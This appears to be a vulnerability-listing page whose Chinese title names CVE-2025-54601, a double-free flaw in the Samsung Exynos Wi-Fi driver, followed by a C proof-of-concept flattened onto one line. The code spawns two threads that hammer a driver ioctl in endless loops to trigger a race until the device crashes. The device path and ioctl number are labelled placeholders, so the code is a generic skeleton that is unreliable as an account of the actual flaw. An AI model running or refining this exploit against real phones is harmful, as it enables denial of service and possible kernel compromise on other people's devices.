CVE-2025-54601 三星Exynos处理器Wi-Fi驱动双重释放漏洞

#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #define DEVICE_PATH "/dev/wifi_device" // Placeholder for the actual vulnerable device #define VULNERABLE_IOCTL 0x8010 // Placeholder for the vulnerable ioctl command void *race_thread(void *arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return NULL; } // Continuously invoke the ioctl to trigger the race condition while (1) { ioctl(fd, VULNERABLE_IOCTL, NULL); } close(fd); return NULL; } int main() { pthread_t t1, t2; // Create multiple threads to invoke ioctl concurrently pthread_create(&t1, NULL, race_thread, NULL); pthread_create(&t2, NULL, race_thread, NULL); // Wait for threads to finish (in reality, this runs until crash) pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }